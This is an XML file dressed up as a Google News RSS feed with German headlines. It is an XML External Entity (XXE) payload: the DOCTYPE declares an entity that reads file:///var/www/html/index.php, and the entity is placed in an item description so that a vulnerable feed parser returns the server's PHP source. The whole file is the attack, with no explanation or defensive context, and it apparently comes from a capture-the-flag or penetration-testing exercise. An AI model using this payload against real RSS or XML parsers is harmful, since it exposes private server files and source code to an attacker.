<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///var/www/html/index.php" >]>
<rss xmlns:media="http://search.yahoo.com/mrss/" version="2.0">
   <channel>
      <title>Top-Meldungen - Google News</title>
      <description>Google News</description>
      <item>
         <title>Grundrente</title>
         <description>&xxe;</description>
      </item>
   </channel>
</rss>